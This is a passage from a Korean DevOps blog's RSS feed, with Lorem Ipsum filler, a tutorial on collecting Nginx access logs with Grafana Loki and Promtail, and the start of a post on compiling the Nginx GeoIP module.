"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈 입니다. 이번시간에는 <strong>loki</strong>와 <strong>promtail</strong>에 대해서 정리를 해보도록 하겠습니다. 필자는 프로메테우스와 그라파나를 사용하다보니, 자연스럽게 Loki라는 제품에 대해서 접할 수 있었습니다. 그리고 로그를 좀 더 쉽게 수집하고 표현할 수 있다는 점에서 바로 적용을 해보기로 했습니다.</p>
<p>본 포스팅은 Loki를 처음 접하거나 간단하게 사용해 볼 수 있는 내용으로 구성했습니다.</p>
<p>Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다.</p>
<ul>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2022/02/09/devops-nginx-compile-installation/">[DevOps] Nginx 컴파일 설치</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2022/07/11/devops-ansible-nginx-config-deploy/">[DevOps] ansible nginx config 배포 구성</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/08/10/linux-logrotate/">[DevOps] Nginx Logrotation 설정</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/08/17/devops-nginx-geoip-module/">[DevOps] Nginx GeoIP 모듈 적용</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/10/19/devops-nginx-log-aggregation-dashboard/">[DevOps] Nginx Log Aggregation &#038; Dashboard</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/11/03/devops-nginx-rate-limit/">[DevOps] Nginx Rate Limit</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2024/07/18/devops-nginx-lua-module/">[DevOps] Nginx Lua module 사용법</a>
  </li>
</ul>
<h2>1. Loki란 무엇인가요?</h2>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.tk/wp-content/uploads/2023/10//loki_1.png?w=1200" alt="DevOps Nginx Log Aggregation &#038; Dashboard 설명 이미지 1" /></p>
<p><strong>Loki</strong>는 Prometheus에 영감을 받아서 탄생한 클라우드 <strong>네이티브 인프라를 위한 로깅 서비스</strong> 입니다.</p>
<p><strong>KubeCon Seattle 2018에서 Grafana Labs에서 오픈소스로 공개</strong>된 Loki는 Kubernetes에서 Prometheus에 대한 경험이 있는 사용자에게 최적화된 로깅 백엔드입니다. Loki는 뛰어난 로그 검색 및 시각화 기능을 Grafana 6.0에서 제공합니다.</p>
<p><strong>Loki는 단일 로그 라인을 그대로 처리한다는 아이디어를 기반</strong>으로 만들어졌습니다. 이는 전체 텍스트 인덱싱을 하는 것이 아니라 Prometheus와 마찬가지로 동일한 label을 사용하여 관련 로그들을 그룹화한다는 것을 의미합니다. 이 방식은 훨씬 효율적이며 확장성이 좋습니다.</p>
<h3>구성 요소</h3>
<ul>
<li>Loki
<ul>
<li>메인 서버 구성 요소를 Loki라고 부르며 전달되는 로그들을 영구 저장하고 클라이언트의 <code>LogQL</code> 쿼리를 실행합니다.</li>
</ul>
</li>
</ul>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.tk/wp-content/uploads/2023/10//loki_2.png?w=1200" alt="DevOps Nginx Log Aggregation &#038; Dashboard 설명 이미지 2" /></p>
<p>Loki는 Components(querier, ingester, query-frontend, or distribute)로 구성이 됩니다.</p>
<ul>
<li>Distributor</li>
</ul>
<p>Distributor는 클라이언트(fluentd, fluent-bit, promtail)에서 들어오는 로그를 받아서 로그의 정확성을 검증하고 하나 이상의 Ingester에게 전달합니다.</p>
<ul>
<li>Ingester</li>
</ul>
<p>Ingester는 Distributors 로부터 로그를 수신하고 들어오는 데이터를 장기 저장소(DynamoDB, S3, Cassandra, etc.)에 저장을 합니다</p>
<ul>
<li>Querier</li>
</ul>
<p>Querier는 Ingester(내장 메모리) 및 장기 저장소(DynamoDB, S3, Cassandra, etc.) 에서 로그 쿼리 한 데이터를 가져온 후 중복을 제거 후 Grafana 또는 Query-Frontend 에게 데이터를 반환합니다.</p>
<ul>
<li>Query-Frontend</li>
</ul>
<p>쿼리 프론트엔드는 2020년 여름에 도입되었으며 분산 설정의 선택적 구성 요소입니다. 일종의 프록시 서비스라고 생각할 수 있습니다. Grafana에서 요청을 수신하고 일부 유효성 검사 및 캐싱을 수행한 다음 쿼리를 쿼리자에게 전달합니다.</p>
<h2>2. Loki 설치</h2>
<p>필자는 kubernetes를 운영하고 있기 때문에 helm을 통해서 설치하기로 했습니다.</p>
<p><a class="wp-editor-md-post-content-link" href="https://github.com/grafana/helm-charts/blob/main/charts/loki-stack/README.md" target="_blank" rel="noopener">loki stack helm cahrt</a></p>
<p>grafana/loki와 관련된 Helm Chart들을 살펴보면 5가지 방식으로 설치가 가능합니다.</p>
<ul>
<li><strong>grafana/loki : 현재 Grafana Loki에서 중점적으로 관리 및 업데이트하고 있는 Helm chart</strong></p>
</li>
<li><strong>grafana/loki-distributed : Microservice 형태로 Loki를 관리할 수 있도록 해주는 Helm chart</strong><br />
-> Ingester, Querier, Index Gateway, Distributor, Query-Frontend, Ruler 등으로 구분되어 있음</p>
</li>
<li><strong>grafana/loki-simple-scalable : 현재 Deprecated 되었지만 Loki를 아주 간단하게 관리할 수 있도록 도와주는 Helm chart</strong><br />
-> Write와 Read, Nginx gateway로만 구분되어 있다.</p>
</li>
<li><strong>grafana/loki-stack : 올인원 모놀리식 형태로 사용할 수 있는 Loki Helm chart</strong></p>
</li>
</ul>
<p>필자는 간단하면서도 내부용도로 사용하는 Loki를 구성하기 위해 올인원 방식으로 결정하였습니다.</p>
<ul>
<li>설치 버전 : v2.6.1
</li>
<li>
<p>Loki의 Chart 레포지토리를 helm에 추가</p>
</li>
</ul>
<pre><code class="language-bash line-numbers">$ helm repo add grafana https://grafana.github.io/helm-charts
$ helm repo update
</code></pre>
<blockquote><p>
  Loki의 Helm Chart에서 다음 사항을 false 처리함으로써 미사용으로 처리합니다.</p>
<ul>
<li>grafana.enabled=false</li>
<li>loki.persistence.enabled=false</li>
<li>promtail.enabled=false</li>
<li>Loki의 볼륨은 File System으로 관리 : 운영계일 경우 Loki : S3와 DynamoDB 혹은 Minio 등을 고려할 수 있겠지만 개발계에 로그와 모니터링 시스템을 구성할 예정이기 때문에 큰 상관이 없을 것이라 생각되어 파일 시스템으로 구성하되 최소한의 안전 장치로 PVC를 사용</li>
</ul>
</blockquote>
<p>필자의 구성은 Remote 서버의 Nginx 로그들을 Promtail을 통해서 Loki로 수집을 하고자 합니다. 따라서, 별도로 Cluster에는 Promtail이 필요 없기 때문에 미사용으로 표기를 합니다.</p>
<ul>
<li>values 파일 변경</li>
</ul>
<pre><code class="language-bash line-numbers">    $ helm upgrade --install loki grafana/loki-stack --create-namespace --namespace=monitoring --set grafana.enabled=false,promtail.enabled=false,loki.config.table_manager.retention_deletes_enabled=true,loki.config.table_manager.retention_period=336h,loki.persistence.enabled=false,loki.config.limits_config.max_query_series=100000,loki.config.frontend.max_outstanding_per_tenant: 4096,loki.config.query_range.parallelise_shardable_queries: true,loki.config.query_scheduler.max_outstanding_requests_per_tenant: 4096,loki.config.split_queries_by_interval: 15m,loki.config.max_query_parallelism: 32
</code></pre>
<ul>
<li>loki 설정 옵션</li>
</ul>
<pre><code class="language-bash line-numbers">grafana.enabled=false,
promtail.enabled=false,

loki.config.table_manager.retention_deletes_enabled=true,
loki.config.table_manager.retention_period=336h,
loki.persistence.enabled=false,

loki.config.limits_config.max_query_series=100000,
loki.config.frontend.max_outstanding_per_tenant: 4096,
loki.config.query_range.parallelise_shardable_queries: true,
loki.config.query_scheduler.max_outstanding_requests_per_tenant: 4096,

loki.config.split_queries_by_interval: 15m,
loki.config.max_query_parallelism: 32
</code></pre>
<ul>
<li>Nodeport 타입으로 변경</li>
</ul>
<pre><code class="language-bash line-numbers">$ kubectl edit svc loki -n monitoring
type : NodePort
</code></pre>
<ul>
<li>설치 검증</li>
</ul>
<pre><code class="language-bash line-numbers">$ kubectl --namespace=monitoring get services
$ kubectl --namespace=monitoring get pods
</code></pre>
<h2>3. Promtail 설치</h2>
<p>Loki를 설치 했으면, Nginx가 설치되어있는 서버에 <strong>Promtail</strong>을 설치하여, 로그를 Loki로 전송할 수 있도록 해보겠습니다.</p>
<p><a class="wp-editor-md-post-content-link" href="https://grafana.com/docs/loki/latest/clients/promtail/" target="_blank" rel="noopener">promtail official document</a></p>
<ul>
<li>설치 버전 : v2.7.3</li>
<li>binary download</li>
</ul>
<pre><code class="language-bash line-numbers">$ mkdir /etc/loki
$ cd /etc/loki
$ wget https://github.com/grafana/loki/releases/download/v2.7.3/promtail-linux-amd64.zip
$ unzip promtail-linux-amd64.zip
$ chmod a+x promtail-linux-amd64
$ rm -rf promtail-linux-amd64.zip
$ mv promtail-linux-amd64 promtail
</code></pre>
<ul>
<li>설정 파일 download &#038; 설정</li>
</ul>
<pre><code class="language-bash line-numbers">$ wget https://raw.githubusercontent.com/grafana/loki/main/clients/cmd/promtail/promtail-local-config.yaml

server:
  http_listen_port: 9080
  grpc_listen_port: 0

positions:
  filename: /tmp/positions.yaml

clients:
  - url: http://xx.xxx.xx.xxx:32617/loki/api/v1/push

scrape_configs:
- job_name: nginx
  static_configs:
  - targets:
      - localhost
    labels:
      job: nginxlogs
      __path__:  /home1/irteam/apps/nginx-1.20.1/logs/access_log
</code></pre>
<ul>
<li>service 등록</li>
</ul>
<pre><code class="language-bash line-numbers">$ sudo vi /etc/systemd/system/promtail.service

[Unit]
Description=Grafana Loki Promtail
Documentation=https://github.com/grafana/loki
After=network-online.target

[Service]
User=root
Restart=always
ExecStart=/etc/loki/promtail --config.file=/etc/loki/promtail-local-config.yaml

[Install]
WantedBy=multi-user.target
</code></pre>
<ul>
<li>service 시작</li>
</ul>
<pre><code class="language-bash line-numbers">$ systemctl restart promtail
$ systemctl status promtail 
</code></pre>
<h2>4. 그라파나 설정 및 대시 보드 구성</h2>
<p>이제 Loki, Promtail이 모두 구성이 됐으니, 로그는 정상적으로 수집이 될 것입니다. 그러면 Grafana에서 해당 Datasource 연결을 통해서 데이터가 정상적으로 수집이 되는지 확인을 해보도록 하겠습니다.</p>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.tk/wp-content/uploads/2023/10//loki_3.png?w=1200" alt="DevOps Nginx Log Aggregation &#038; Dashboard 설명 이미지 3" /></p>
<p>grafana의 Datasource를 추가해주는 화면에서 Target URL에 Loki의 IP:Nodeport를 입력을 해줍니다. 그렇게 되면, 정상적으로 연동이 됩니다.</p>
<ul>
<li>Grafana의 Explorer에서 LokiQL을 통해서 조회</li>
</ul>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.tk/wp-content/uploads/2023/10//loki_4.png?w=1200" alt="DevOps Nginx Log Aggregation &#038; Dashboard 설명 이미지 4" /></p>
<p>Nginx에서 쌓이는 Access log가 동일하게 Loki에서 정상 수집됨을 확인 할 수 있습니다.</p>
<ul>
<li>Grafana의 Dashboard 연동을 통해서 시각화</li>
</ul>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.tk/wp-content/uploads/2023/10//loki_5.png?w=1200" alt="DevOps Nginx Log Aggregation &#038; Dashboard 설명 이미지 5" /></p>
<h2> </h2>
<h2>5. 마치며&#8230;</h2>
<p>Nginx의 Access 로그는 서비스의 유입점이기 떄문에 굉장히 유용한 정보로 활용 될 수 있습니다. 이에 대한 로그를 빠르게 수집하고 시각화 하여 활용하게 되면 서비스의 안정화 혹은 사업적으로도 가치가 높습니다.</p>
<p>Loki와 Promtail에 대해서 간단하게 적용해 볼 수 있도록 포스팅을 정리해봤습니다. 추후에는 Loki의 쿼리 속도 개선에 대해서 정리를 해보도록 하겠습니다.</p>
<h2>6. 참고</h2>
<ul>
<li><strong><a class="wp-editor-md-post-content-link" href="https://devocean.sk.com/blog/techBoardDetail.do?ID=163964" target="_blank" rel="noopener">Grafana Loki에 대해 알아보자</a></strong></li>
<li><strong><a class="wp-editor-md-post-content-link" href="https://medium.com/@dudwls96/logging-grafana-loki-아키텍처-구성-6c1f0d83a5f3" target="_blank" rel="noopener">Logging/Grafana Loki 아키텍처 구성</a></strong></li>
<li><strong><a class="wp-editor-md-post-content-link" href="https://jerryljh.medium.com/loki-실-적용-내역-공유-db32169b7f43" target="_blank" rel="noopener">Loki 실 적용 내역 공유</a></strong></li>
<li><strong><a class="wp-editor-md-post-content-link" href="https://lapee79.github.io/article/loki-kubernetes-logging/" target="_blank" rel="noopener">Loki &#8211; Kubernetes 로깅</a></strong></li>
<li><strong><a class="wp-editor-md-post-content-link" href="https://dev.to/airoasis/lokireul-iyonghan-sonswiun-kubernetes-logging-1iho" target="_blank" rel="noopener">Loki를 이용한 손쉬운 Kubernetes Logging</a></strong></li>
<li><strong><a class="wp-editor-md-post-content-link" href="https://nyyang.tistory.com/159" target="_blank" rel="noopener">[EKS] 아주 가벼운 Loki + Grafana + Promtail 로그 시스템 구성</a></strong></li>
<li><strong><a class="wp-editor-md-post-content-link" href="https://volkovlabs.io/blog/nginx-loki-grafana-20230129/" target="_blank" rel="noopener">Website Analytics based on Nginx, Loki, Promtail, and Grafana</a></strong></li>
<li>Native 설치
<ul>
<li><strong><a class="wp-editor-md-post-content-link" href="https://wiki.linecorp.com/pages/viewpage.action?pageId=2997171053" target="_blank" rel="noopener">Grafana 외부 서버의 데이터를 가져오기 &#8211; NGINX &#8211; access.log</a></strong></li>
<li><strong><a class="wp-editor-md-post-content-link" href="https://mycup.tistory.com/319" target="_blank" rel="noopener">Grafana loki, promtail</a></strong></li>
</ul>
</li>
<li>Promtail 참고
<ul>
<li><strong><a class="wp-editor-md-post-content-link" href="https://gist.github.com/clayman083/4df41d1ee9fc3dd0598c90830a9c4740" target="_blank" rel="noopener">Promtail config for syslog and extract labels from nginx logs</a></strong></li>
<li><strong><a class="wp-editor-md-post-content-link" href="https://gist.github.com/ruanbekker/b863902b3c9d7194e28fa68d0860cf6d" target="_blank" rel="noopener">Tinkering with Loki, Promtail, Grafana, Prometheus, Nginx and Dnsmasq</a></strong></li>
</ul>
</li>
</ul>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2023/10/19/devops-nginx-log-aggregation-dashboard/">[DevOps] Nginx Log Aggregation &#038; Dashboard</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wonizz.com/2023/10/19/devops-nginx-log-aggregation-dashboard/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2074</post-id>	</item>
		<item>
		<title>[DevOps] Nginx GeoIP 모듈 적용</title>
		<link>https://blog.wonizz.com/2023/08/17/devops-nginx-geoip-module/</link>
					<comments>https://blog.wonizz.com/2023/08/17/devops-nginx-geoip-module/#respond</comments>
		
		<dc:creator><![CDATA[워니]]></dc:creator>
		<pubDate>Thu, 17 Aug 2023 10:41:40 +0000</pubDate>
				<category><![CDATA[Tech]]></category>
		<guid isPermaLink="false">https://blog.wonizz.tk/?p=2058</guid>

					<description><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈입니다. 이번시간에는 Nginx의 dynamic module중 하나인 GeoIP 모듈을 적용해보는 시간을 갖도록 하겠습니다. Nginx의 GeoIP모듈을 통해서 국가단위 혹은 아이피 단위에 대한 제어가 가능해져 굉장히 유용한 모듈입니다. Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다. [DevOps] Nginx 컴파일 설치 [DevOps] ansible nginx config 배포 구성 [DevOps] Nginx Logrotation 설정 [DevOps] Nginx GeoIP 모듈 적용 [DevOps]&#8230;&#160;</p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2023/08/17/devops-nginx-geoip-module/">[DevOps] Nginx GeoIP 모듈 적용</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈입니다. 이번시간에는 Nginx의 dynamic module중 하나인 GeoIP 모듈을 적용해보는 시간을 갖도록 하겠습니다. Nginx의 GeoIP모듈을 통해서 국가단위 혹은 아이피 단위에 대한 제어가 가능해져 굉장히 유용한 모듈입니다.</p>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.tk/wp-content/uploads/2023/08/nginx_geoip_1.png?w=1200" alt="DevOps Nginx GeoIP 모듈 적용" /></p>
<p>Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다.</p>
<ul>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2022/02/09/devops-nginx-compile-installation/">[DevOps] Nginx 컴파일 설치</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2022/07/11/devops-ansible-nginx-config-deploy/">[DevOps] ansible nginx config 배포 구성</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/08/10/linux-logrotate/">[DevOps] Nginx Logrotation 설정</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/08/17/devops-nginx-geoip-module/">[DevOps] Nginx GeoIP 모듈 적용</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/10/19/devops-nginx-log-aggregation-dashboard/">[DevOps] Nginx Log Aggregation &#038; Dashboard</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/11/03/devops-nginx-rate-limit/">[DevOps] Nginx Rate Limit</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2024/07/18/devops-nginx-lua-module/">[DevOps] Nginx Lua module 사용법</a>
  </li>
</ul>
<h2>1. Dynamice Module 이란?</h2>
<p>Nginx의 module중에서는 default module인 static module과 추가적으로 사용할 수 있는 dynamic module이 있습니다.</p>
<pre><code class="language-bash line-numbers">$ nginx -V

nginx version: nginx/1.20.1
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)
built with OpenSSL 1.1.1l  24 Aug 2021
TLS SNI support enabled
configure arguments: --prefix=/home/apps/nginx-1.20.1 --user=root --group=root --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_v2_module --with-pcre=/pkgs/pcre-8.44 --with-openssl=/pkgs/openssl-1.1.1l --with-zlib=/pkgs/zlib-1.2.11

</code></pre>
<h2>2. GeoIP Module 이란?</h2>
<p>Nginx에서 국가별 IP를 식별하여, 원하지 않는 국가에서의 접속을 차단할 수 있습니다.</p>
<p>기존에 <a class="wp-editor-md-post-content-link" href="https://www.maxmind.com/en/home" target="_blank" rel="noopener">MaxMind</a>에서 제공했던 Geoip.dat는 19년도를 기준으로 더 이상 지원하지 않으니, maxmind에서 새로 계정을 생성하던, 기존의 계정으로 라이센스키를 받고, nginx에서 새로운 모듈을 컴파일하여 사용해야 합니다.</p>
<h2>3. GeoIP Module 설치 방법</h2>
<p>신규 Module을 추가할 때에는 기존의 module들도 빼놓지 않고, configure에 추가해야 합니다. 이를 위해 <strong>nginx -v</strong> 명령어를 사용해 기존의 module을 확인하고 추가할 module을 맨 뒤에 입력해야 합니다.</p>
<p>그럼 본격적으로 GeoIP Module을 설치해보도록 하겠습니다.</p>
<h3>libmaxminddb 설치</h3>
<p>libmaxminddb 라이브러리는 MaxMind의 GeoIP2 데이터베이스를 포함하여 MaxMind DB 파일을 읽기 위한 C 라이브러리를 제공합니다. 이것은 주소와 관련된 데이터 유형에 큰 유연성을 제공하면서 IP 주소의 빠른 조회를 용이하게 하도록 설계된 사용자 지정 이진 형식입니다.</p>
<ul>
<li>참고 : https://github.com/maxmind/libmaxminddb</li>
<li>libmaxminddb install  ( maxminddb 를 설치하기 위해서 사전에 libmaxminddb 를 설치해야 한다 )</li>
</ul>
<pre><code class="language-bash line-numbers">$ git clone --recursive https://github.com/maxmind/libmaxminddb
$ cd libmaxminddb/
$ ./bootstrap
$ ./configure
$ make
$ make install
</code></pre>
<ul>
<li>environment /usr/local/lib ld config add (라이브러리 추가)</li>
</ul>
<pre><code class="language-bash line-numbers">$ vi /etc/ld.so.conf

### add
/usr/local/lib
</code></pre>
<ul>
<li>ldconfig / library reconnition ( 라이브러리 인식 )</li>
</ul>
<pre><code class="language-bash line-numbers">$ ldconfig
</code></pre>
<h3>GeoIP Database 다운로드</h3>
